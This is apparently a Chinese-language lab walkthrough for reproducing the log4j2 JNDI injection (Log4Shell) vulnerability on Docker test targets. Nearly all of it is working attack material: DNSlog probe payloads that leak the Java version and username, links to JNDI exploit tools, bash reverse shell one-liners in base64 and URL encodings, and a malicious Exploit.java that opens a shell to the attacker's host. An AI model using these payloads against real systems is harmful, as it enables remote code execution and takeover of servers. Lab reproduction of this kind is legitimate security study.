Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了 log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组 建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目 标服务器上执行任意代码。
组件应用:
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2
影响log4j版本:
Apache Log4j 2.0 ~ 2.15.0-rc1
docker pull vulfocus/log4j2-rce-2021-12-09
docker run -d -ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09
1.默认页面,再点击下面的???后,看见返回ok,并且再网页上有payload的传参,可以进行测试poc。
${jndi:ldap://82clpb.dnslog.cn}
//url编码后
%24%7Bjndi%3Aldap%3A%2F%2F82clpb.dnslog.cn%7D
1.在dnslog平台上复制一个测试网址,进行url编码,再进行插入传参部分。
2.发送后,在dnslog平台上可以看见可以请求到,说明漏洞存在。
1.下载工具 :
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
2.利用这个工具搭建恶意的恶意JNDI服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机ip
nc -lvvp 8888
bash -i >& /dev/tcp/192.168.42.132/8888 0>&1
base64编码 -> url编码
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi84ODg4IDA%2BJjEg
5.构造反弹shell的EXP,然后转url编码。用Bp抓包,使用的是get 请求,在payload后面加上构造好的url编码的poc,重发,LDAP服务器会解析这条命令,实现反弹shell。
//payload
${jndi:ldap://192.168.42.132:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi84ODg4IDA%2BJjEg}
//转url编码的poc
%24%7Bjndi%3Aldap%3A%2F%2F192.168.42.132%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi84ODg4IDA%252BJjEg%7D
1.vim docker-compose.yml ,然后docker-compose up -d
version: '2'
services:
solr:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
${jndi:ldap://80n1xs.dnslog.cn}
${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}
${jndi:ldap://${sys:username}.vebwc2.dnslog.cn}
http://192.168.42.132:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.80n1xs.dnslog.cn}
1.下载工具 :
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
2.构造命令执行
bash -i >& /dev/tcp/192.168.42.132/9090 0>&1
java-runtime-exec转换:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
3.使用工具进行攻击利用,然后开启监听9090端口。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A 攻击机address
4.根据工具给出来的Poc ,使用Bp抓包,和复现一那样在action后面填入构造好的Poc ,poc进行url编码。或者直接访问也行。
http://192.168.42.132:8983/solr/admin/cores?action=${jndi:rmi://192.168.42.132:1099/cyxzub}
http://192.168.42.132:8983/solr/admin/cores?action=%24%7Bjndi%3Armi%3A%2F%2F192.168.42.132%3A1099%2Fcyxzub%7D
5.重发后,在9090端口会成功得到shell。
1.和之前的fastjson复现一样,使用jndi注入+rmi 。先创建一个Exploit.java的恶意文件,利用脚本开启的jndi服务请求到攻击机上的Exploit.class 文件,从而执行类文件中反弹shell的命令。
// Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
2.生成类文件.class ,使用 javac Exploit.java ,然后在当前目录开启python的web服务。
javac Exploit.java
python3 -m http.server
3.使用脚本开启jndi服务,同时nc监听反弹shell的端口。
4.使用Bp抓包,把payload进行url编码,发送得到shell。
${jndi:ldap://192.168.42.132:9999/Exploit}
url编码 ↓
%24%7Bjndi%3Aldap%3A%2F%2F192.168.42.132%3A9999%2FExploit%7D